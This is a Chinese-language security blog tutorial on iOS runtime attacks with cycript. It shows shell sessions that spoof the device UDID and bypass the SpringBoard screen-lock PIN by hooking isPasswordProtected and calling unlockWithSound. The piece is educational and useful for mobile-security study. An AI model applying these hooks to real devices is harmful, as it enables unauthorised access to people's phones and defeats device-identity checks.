碳基体

奋斗在产品安全第一线的安全妹子

iOS runtime攻击-cycript

iOS runtime攻击,目前流行的有两种方式,一种是动态链接库注入,通过编写定制的dylib文件与设置DYLD_INSERT_LIBRARIES环境变量来修改API方法的实现(可参照Mac hook-DYLD_INSERT_LIBRARIES中的例子);还有一种方法就是利用objective-c runtime的消息机制的特性,特别是objc_msgSend,来操作应用,其中以cycript这种混合了objective-c与javascript语法的工具为翘楚。接下来介绍一下使用cycript操纵iOS应用运行时的例子。


例子1:伪造UDID(UIDevice类说明


第一步:选择待操作的进程

danimato-iPod:~ root# cycript -p 8442(可以是进程id,也可以是进程名)


第二步:获得当前设备的UDID

cy# [[UIDevice currentDevice] uniqueIdentifier];
@"a94b65f9ac84c9d5bb7f377d5122a622ea1addf6"


第三步:替换uniqueIdentifier实现方法的实现

cy# UIDevice.messages['uniqueIdentifier'] = function(){ return @"tanjiti";}
function () {return Instance.box("tanjiti");}


第四步:检查替换后的UDID获取结果

cy# [[UIDevice currentDevice] uniqueIdentifier];
@"tanjiti"


例子2: 解锁屏幕锁定PIN(SpringBoard/SBAwayController.h说明)


第一步:选择待操作的进程

danimato-iPod:~ root# cycript -p SpringBoard

第二步:检查设备是否开启了密码锁定功能(1表示锁定,0表示解锁)

cy# [SBAwayController.sharedAwayController isPasswordProtected]
1

第三步:替换isPasswordProtected实现方法

cy# SBAwayController.messages['isPasswordProtected']=function(){return NO;}
function () {return NO;}

第四步:检查替换后设备的锁定状态(1表示锁定,0表示解锁)

cy# [SBAwayController.sharedAwayController isPasswordProtected]
0

第五步:最后调用unlockWithSound方法来访问home屏幕

cy# [SBAwayController.sharedAwayController unlockWithSound:1]

通过以上操作,成功解锁屏幕锁定


接下来会写一下runtime attack中的核心组件MobileSubstrate,与非常流行的Theos越狱开发框架。


参考:

https://iphonedevwiki.net/index.php/Cycript

https://iphonedevwiki.net/index.php/Cycript_Tricks

来源:碳基体